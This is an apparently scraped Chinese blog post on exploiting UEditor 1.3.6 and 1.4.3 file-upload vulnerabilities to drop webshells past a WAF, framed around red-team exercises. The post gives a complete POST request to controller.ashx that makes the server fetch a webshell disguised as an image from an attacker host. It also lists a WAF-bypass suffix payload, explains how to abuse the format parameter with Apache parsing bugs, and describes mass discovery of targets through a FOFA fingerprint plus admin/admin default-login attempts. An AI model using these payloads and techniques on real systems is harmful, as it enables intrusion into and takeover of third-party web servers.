当前位置:网站首页>原创 | ueditor1.4.3-asmx绕过waf
原创 | ueditor1.4.3-asmx绕过waf
2022-07-25 03:35:00 【ECHO::】
前言: 这段时间老是碰到ueditor,前段时间hvv有红队也通过这拿到shell,谈下编辑器的上传
昨天晚上,群里有个哥们发了个ueditor的编辑器上传,总之他绕过了图片限制,ueditor的解析url是ip的格式,,但传webshell老是403,我也摸了下,,总结了一些原因
如果ueditor上传目录能解析脚本,只是单纯waf拦截的话:
bypass: poc:jpg?.a?s?m?x

先来说说ueditor1.4.3这编辑器的漏洞,18年出的net格式的上传,可上传绕过的版本有
ueditor/ 1.4.3 net
ueditor/ 1.3.6 net(实际测试不行)
ueditor/ 1.3.6 php
1.3.6环境绕过:
解析漏洞
ueditor 1.3.6 X-Powered-By: ThinkPHP + apache(换行解析和后缀名解析)
以上环境本地均能绕过文件上传
0x00 1.3.6的上传
上传文件Uploader.class.php 192行,文件后缀由$fileName = f o r m a t . format. format.ext; 控制,
226行,$ext不可控
private function getFileExt()
{
return strtolower( strrchr( $this->file[ "name" ] , '.' ) );
}

但1.3.6文件命名引入了format这个函数
而在imageUp.php里30-35行定义了format函数是直接post传参,这处可控,

实际演示poc:
给format传入参数,配合apache解析漏洞,比如传入1,可以自定义文件头

0x02. 1.4.3net版本文件上传
这版本在hvv经常遇到,但实际利用起来很鸡肋,,
1.上传接口要能访问,不被策略拦截,
2.上传是否能绕过image,
3.上传目录脚本解析策略((2022年大部分ueditor都做了策略))
挖了大概有10来个ueditor站,大部分均存在服务器脚本解析。
案例1: 帮群友看的站
上传aspx成功,但访问403,上传有缺陷的aspx代码,报错但返回200

不知道什么原因,觉得可能是黑名单的问题,测试了ashx、asmx等都存在该问题,觉得不是服务器正则
google被动收集找了个ueditor,指纹(iis7.5 asp.net)的站点测试,发现是上传目录禁止执行脚本文件

=========================================
2022年了,google的被动信息收集真鸡肋,大部分都只能作为探测敏感信息的入口了,
google测了5-6个站,大部分站收录的结果都玩不了,,还是转向fofa的主动收集,
某指纹: app=“百度-UEditor” && server=“Microsoft-IIS/7.5”
结果还不错,测试了一波后,

反手 admin admin
收录的结果在二级目录都存在ueditor编辑器的目录
套上ueditor文件上传poc
POST /resources/htmleditor/net/controller.ashx?action=catchimage&encode=utf-8 HTTP/1.1
Host: rhost:rport
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
source%5B%5D=http://ip:port/asmxx.jpg?.asmx
这里贴上tool绕过waf的poc:jpg?.a?s?m?x

看到上传成功,还是回到刚那个话题: 上传目录是否能解析脚本?
asmx是asp.net通过SOAP协议生成发送消息的功能。大概率能绕过正则,


总结:
1.ueditor 1.4.3文件上传主站通常难绕过上传,403,出洞的大多数在C段,
2.测绘批量收集ueditor的资产,
边栏推荐
- [Flink] transform operator map
- Secondary vocational network security skills competition P100 web penetration test
- Bgy development small example
- Hal library serial port for note taking
- Common methods of array
- Force deduction brush question 26. Delete duplicates in the ordered array
- Visio use
- Record once C # extract audio files with ffmempeg
- Hw2021 attack and defense drill experience - Insights
- Time complexity and space complexity
猜你喜欢

Flowlayout in compose

The relationship between private domain traffic and fission marketing. What is super app? Can our enterprise own it?

Select sort / cardinality sort

How to use two stacks to simulate the implementation of a queue

Electronic bidding procurement mall system: optimize traditional procurement business and speed up enterprise digital upgrading

Moveit2 - 8. Motion planning API

Direct insert sort / Hill sort

Hal library serial port for note taking

Analysis of DNS domain name resolution process

Solution: owner's smart site supervision cloud platform
随机推荐
Optimization of MySQL sorting index fields
Merge sort / quick sort
What should testers do if they encounter a bug that is difficult to reproduce?
Question D: pruning shrubs
Bgy development small example
Function of each layer of data warehouse
04 -- two ways of writing el and data
Database transactions (often asked)
B. All Distinct
NC | progress has been made in the study of the ecological network relationship between dissolved organic carbon and microorganisms in the context of global change
Uni app configuration
A. Subtle Substring Subtraction
Wechat H5 record
Select sort / cardinality sort
Canvas record
Force deduction problem 238. product of arrays other than itself
ECMAScript new features
TypeScript
Use go language to import Doris data through stream load
C language introduction practice (9): completion judgment